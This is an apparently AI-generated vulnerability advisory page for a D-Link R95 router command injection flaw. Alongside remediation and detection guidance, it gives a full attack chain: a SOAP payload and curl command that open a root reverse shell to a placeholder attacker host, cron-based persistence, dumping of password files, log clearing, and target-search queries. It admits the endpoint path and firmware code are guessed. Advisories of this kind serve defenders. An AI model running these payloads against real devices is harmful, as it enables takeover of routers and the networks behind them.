CVE Professor
/
All CVEs
CVE-2026-138226

CVE-2026-138226 — D-Link R95 — CWE-78 · CWE-77

CRITICAL CVSS 10 Shodan

A vulnerability has been found in D-Link R95 1.04B04Beta. Affected by this issue is the function SetSecureDNSSettings of the file /bin/ssi of the component DHMAPI SOAP interface. Such manipulation of the argument URI leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in D-Link R95 1.04B04Beta. Affected by this issue is the function SetSecureDNSSettings of the file /bin/ssi of the component DHMAPI SOAP interface. Such manipulation of the argument URI leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

ItemDetail
CVECVE‑2026‑138226
Vendor / ProductD‑Link R95 firmware 1.04B04Beta
Component/bin/ssi – the DHMAPI SOAP interface (the “SetSecureDNSSettings” method)
CWE(s)CWE‑78 – OS Command Injection <br> CWE‑77 – Improper Neutralization of Special Elements used in a Command
CVSS v4.0 VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P (Score 10.0 – Critical)

Technical flaw

The SOAP method SetSecureDNSSettings receives a parameter called URI (the DNS server address that the router should use).
Inside the implementation the value of URI is concatenated directly into a shell command that is later executed by the underlying Linux OS, e.g.:

// Pseudo‑code extracted from the firmware binary (illustrative)
char cmd[256];
snprintf(cmd, sizeof(cmd), "/usr/sbin/dnsmasq --server=%s", uri);
system(cmd);
  • No input validation, whitelisting, or escaping of metacharacters is performed.
  • The function is exposed through the public SOAP API; the API does not require authentication (PR:N, UI:N).
  • Consequently an attacker can supply a crafted URI value that terminates the intended argument and injects arbitrary shell commands (e.g., ; rm -rf /;).
  • Because the command is executed with root privileges (the router’s management daemon runs as root), the injection yields remote code execution (RCE) with full system control.

    The CVSS vector reflects:

  • Network‑reachable (AV:N) – the SOAP endpoint is reachable over the LAN/WAN.
  • Low attack complexity (AC:L) – a single HTTP POST with a malicious XML body is sufficient.
  • No privileges (PR:N) – unauthenticated attacker.
  • High impact on Confidentiality, Integrity, Availability (VC:H/VI:H/VA:H).
  • High impact on the underlying OS (SC:H/SI:H/SA:H).
  • Exploitability is proven (E:P – proof‑of‑concept publicly released).

  • ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact SOAP endpoint (/soap) and parameter names are taken from the CVE description. If the real firmware uses a different path, the example is still representative of the vulnerability class.

    1. Discovery & Reconnaissance

    StepTechniqueExpected Outcome
    1.1Port scanning (e.g., nmap -p 80,443,8080 <target>).Identify an HTTP(S) service on the router.
    1.2Banner grabbing (curl -I http://<target>/) or wget --server-response.The router returns a D‑Link specific HTTP header (Server: D‑Link R95) and often a /version.txt file exposing the firmware version (1.04B04Beta).
    1.3Fingerprinting the SOAP API – request GET /soap?wsdl or GET /api?wsdl.The WSDL contains the SetSecureDNSSettings operation with a URI element.
    1.4Search public advisories / exploit databases – the CVE ID is already known, confirming that the target runs the vulnerable version.Attacker knows that the SOAP method is unauthenticated and vulnerable to command injection.

    2. Exploitation

    Goal: Execute an arbitrary command (e.g., spawn a reverse shell) as root.

    2.1 Craft the malicious SOAP payload

    <?xml version="1.0" encoding="UTF-8"?>
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
                      xmlns:dh="urn:DHMAPI">
      <soapenv:Header/>
      <soapenv:Body>
        <dh:SetSecureDNSSettings>
          <!-- The vulnerable parameter -->
          <dh:URI>8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"</dh:URI>
        </dh:SetSecureDNSSettings>
      </soapenv:Body>
    </soapenv:Envelope>

    The ; terminates the intended dnsmasq argument, and the following command opens a reverse TCP shell to the attacker.

    2.2 Send the request

    ATTACKER_IP=203.0.113.10
    TARGET=192.168.0.1
    
    curl -sk -X POST "http://$TARGET/soap" \
         -H "Content-Type: text/xml; charset=utf-8" \
         -H "SOAPAction: \"urn:DHMAPI#SetSecureDNSSettings\"" \
         --data-binary @payload.xml
  • -k skips TLS verification (many routers use self‑signed certs).
  • No authentication headers are needed (PR:N).
  • If the router is reachable from the Internet, replace http:// with https:// and adjust the port accordingly.

    2.3 Result

    The router executes:

    /usr/sbin/dnsmasq --server=8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1"

    The attacker receives a root‑privileged interactive shell on the router.

    3. Post‑exploitation

    PhaseTypical actions (root)
    Persistence- Drop a cron job (@reboot /bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"). <br> - Install a lightweight backdoor (e.g., busybox httpd on an unused port).
    Privilege escalation (if any)Already root; no further escalation needed.
    Lateral movementUse the compromised router as a pivot to scan internal LAN (nmap -sn 10.0.0.0/24).
    Data exfiltration- Dump configuration files (/etc/passwd, /etc/shadow, /etc/config/*). <br> - Capture DNS queries or inject malicious DNS entries.
    Cleanup / Cover tracks- Remove the malicious cron entry. <br> - Clear the system log (> /var/log/messages).

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    ConfidentialityHigh – attacker can read any file on the router, capture credentials, and sniff internal traffic.
    IntegrityHigh – attacker can modify DNS settings, firmware, or inject malicious scripts that affect all clients behind the router.
    AvailabilityHigh – attacker can stop DNS services, reboot the device, or replace the firmware, causing total network outage.

    Practical consequences

  • Enterprise LANs – a compromised edge router gives the attacker a foothold inside the corporate network, bypassing perimeter defenses.
  • IoT / Smart‑home deployments – the router can be used to redirect DNS queries to malicious resolvers, enabling phishing or ransomware distribution.
  • Service providers – large numbers of consumer routers could be compromised en‑mass, creating a botnet for DDoS attacks.
  • Because the vulnerability is network‑exposed and unauthenticated, any remote scanner that discovers the device can immediately gain root control.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to the next firmware release that removes the vulnerable SetSecureDNSSettings implementation (e.g., D‑Link R95 1.04B05 or later). The exact version number should be verified on D‑Link’s security advisory page.
    VerifyAfter upgrade, request the WSDL again; the SetSecureDNSSettings method should either be removed or hardened (input sanitisation).

    2. Workarounds (if patch cannot be applied immediately)

    MitigationImplementation
    Network segmentationPlace the router management interface on a dedicated VLAN or management LAN that is not reachable from the Internet or untrusted LAN segments.
    Restrict access to the SOAP endpointConfigure the router’s built‑in firewall (or an upstream firewall) to allow only trusted IPs (e.g., the internal admin subnet) to reach TCP/80 or TCP/443 on the /soap path. Example iptables rule on the router (if possible): <br>``iptables -I INPUT -p tcp -s 10.0.0.0/24 --dport 80 -m string --string "/soap" --algo bm -j ACCEPT`<br>`iptables -A INPUT -p tcp --dport 80 -j DROP`
    Disable the DHMAPI SOAP serviceIf the router’s UI offers a “Remote Management API” toggle, set it to Off. This removes the attack surface entirely.
    Web‑Application Firewall (ModSecurity) ruleDeploy a rule that blocks any SOAP request containing a semicolon (;) or pipe () in the URI element. Example rule (ModSecurity 3.x syntax): <br>`SecRule REQUEST_BODY "@rx <URI>[^<]*[;]" "id:2026261,phase:2,deny,status:403,msg:'Blocked possible command injection in SetSecureDNSSettings',tag:'cve-2026-138226'"`
    Input sanitisation (if you can re‑compile firmware)Escape or reject characters ; &> < $ \ " ' in the URI parameter before constructing the system command. Prefer a whitelist of IPv4/IPv6 address patterns (^([0-9]{1,3}\.){3}[0-9]{1,3}$ or ^[a-f0-9:]+$`).

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected SOAP actionsHTTP access logs (/var/log/httpd/access.log or router’s syslog)POST /soap HTTP/1.1" 200 123 "-" "curl/7.88.1"
    Presence of ; or && in the URI fieldSame HTTP logs (if request body is logged) or IDS/IPS payload inspection"<URI>8.8.8.8; /bin/bash -c \"bash -i >& /dev/tcp/203.0.113.10/4444 0>&1\"</URI>"
    Outbound connections from the router to unusual IP/portNetflow, firewall logs, or netstat -tnp outputtcp 0 0 192.168.0.1:53 203.0.113.10:4444 ESTABLISHED
    New root cron jobs or unknown binariescrontab -l for root, filesystem integrity monitoring (e.g., Tripwire)@reboot /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1"
    Process tree showing dnsmasq with extra argumentsps auxgrep dnsmasqroot 1234 0.0 0.1 12344 2340 ? Ss 12:34 0:00 /usr/sbin/dnsmasq --server=8.8.8.8; /bin/bash -c "bash -i >& /dev/tcp/203.0.113.10/4444 0>&1"

    Deploy a SIEM rule that correlates a POST to /soap with a subsequent outbound connection from the router to a non‑local IP on a high‑numbered port.


    ⚠️ Urgency

  • CVSS 10.0 (Critical) – full‑system RCE with no authentication required.
  • Exploit is publicly disclosed (E:P), meaning malicious actors can copy the PoC instantly.
  • No CISA KEV listing yet, but the lack of a KEV entry does not reduce risk; the vulnerability is already “weaponized”.
  • Attack complexity is low (single crafted HTTP request).
  • Patch priority: Immediate (critical).

  • Deploy the firmware update within 24 hours for any production environment.

  • If patching cannot be performed within that window, enforce the network‑segmentation and WAF/iptables mitigations described above to block unauthenticated access to the SOAP API.




Bottom line: CVE‑2026‑138226 is a classic unauthenticated OS‑command injection in a router’s management API. Because the router runs privileged system commands, exploitation yields root‑level remote code execution that can compromise entire networks. Prompt patching, strict access control, and vigilant monitoring are mandatory.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138226
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:R95
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac